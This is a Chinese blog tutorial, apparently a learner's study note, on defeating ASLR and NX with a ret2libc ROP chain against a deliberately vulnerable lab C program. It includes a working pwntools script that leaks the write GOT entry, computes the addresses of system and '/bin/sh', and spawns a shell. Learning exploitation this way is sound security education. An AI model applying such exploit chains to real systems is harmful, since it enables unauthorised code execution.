栈溢出基本ROP绕过ASLR和NX保护

菜鸡刚学rop,总结下。

笔记中的程序源代码来自 蒸米大佬的x86一步一步学rop http://www.vuln.cn/6645
计算溢出点的位置的脚本可以在大佬的github上下载(其实从IDA上也可以计算出来溢出点)
https://github.com/zhengmin1989/ROP_STEP_BY_STEP

预备知识:
了解动态链接中PLT表和GOT表以及延迟绑定技术。
ASLR的开启无法通过checksec来检测,他的开启与系统有关。
ASLR只针对动态库基址的中间位数进行随机化,后三位并不会变。
ASLR不会随机化本身程序的基址。

在不开启PIE的情况下,可以使用ret2libc来绕过NX和ASLR保护。
下面是通用的利用思路:
这个思路是通解的思路,即不知道目标程序使用的动态库的版本。

  1. 同一个模块内,代码段和数据段之间的距离确定,不受随机化影响
  2. 同一动态库内,每个函数在动态库内部的偏移量是确定的
  3. 只要泄露出动态库中某个函数的地址,就可以知道该函数在动态库中的偏移。
  4. 不同动态库中相同函数的偏移量是不同的,那就可以通过这个泄露的偏移量确定该程序使用的动态库的版本。
  5. 计算出动态库的基址:
    动态库的基址=泄露的函数的地址 - 该函数在动态库中的偏移量
  6. 计算出system函数的地址:
    system函数的地址= 动态库的基址 + system函数在动态库中的偏移量
  7. 找到 /bin/sh 这个字符串的所在位置,一般动态库里有这个字符串
    如果没有这个字符串就使用能写入的函数,将这个字符串读写到可写入的区域,这就需要构造ROP链,pop pop pop ret 。

这个样例是已知动态库的版本
样例的源代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

在这里插入图片描述

编译时关闭canary和PIE防护,打开了ASLR和NX保护。
在这里插入图片描述在这里插入图片描述
此时动态库的基址是会发生变化的:
在这里插入图片描述

本题的利用思路就是用write函数,打印出write函数对应的got表里的内容。

(当然,不一定非要打印write函数的地址,只要打印got表中存在的函数的地址就可以计算出libc的基址)

虽然write函数的地址并不是固定的,但是程序本身使用过这个函数,所以PLT表里一定有这个函数,PLT表又属于本身程序的代码段,在没有开启PIE的情况下,write函数对应的PLT表项的地址是确定的。

同理GOT表项的地址也是不变的。GOT的地址不会变,变的只是GOT表项的内容。

则可以将返回地址覆盖为write函数对应的PLT表的地址,参数布置为,1,write函数对应的got表项的地址,4。

再将write函数的返回地址布置为vulnerable_function 这个函数的地址,执行完write函数后,返回到vulnerable_function函数,进行二次溢出,获得shell。

其中1是标准输出(即从终端显示输出结果),4是输出的长度。

其中write函数对应的PLT表项的地址可以在IDA中找到:
在这里插入图片描述
其对应的GOT表项地址也可以在IDA中找到:
在这里插入图片描述
覆盖前堆栈图如下:
在这里插入图片描述
覆盖后堆栈的情况如下:
在这里插入图片描述
打印出write 的地址后,计算出system函数的地址,然后利用二次栈溢出,覆盖返回地址为system函数地址,布置参数为/bin/sh 字符串的首地址。
/bin/sh 这个字符串也可以在libc中找到。

脚本没有用蒸米大佬的,蒸米大佬的使用ELF模块来直接获取write函数对应的PLT和GOT表项的地址,想看蒸米大佬的利用脚本,链接在笔记开始给了。我这里使用了最原始的方法。
利用脚本如下:

from pwn import*

libc=ELF("libc.so.6")

a=process("./a.out")

plt_write=p32(0x08048320)

vuln_addr=p32(0x08048456)

got_write=p32(0x0804A014)

payload='A'*140+plt_write+vuln_addr+p32(1)+got_write+p32(4)

a.send(payload)

write_addr=u32(a.recv(4))

libc_base=write_addr-libc.symbols["write"]

system_addr=libc_base+libc.symbols["system"]

binbash_addr=libc_base+next(libc.search("/bin/sh"))

payload='A'*140+p32(system_addr)+p32(1)+p32(binbash_addr)

a.send(payload)

a.interactive()

运行即可得到shell
在这里插入图片描述

  • 2
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值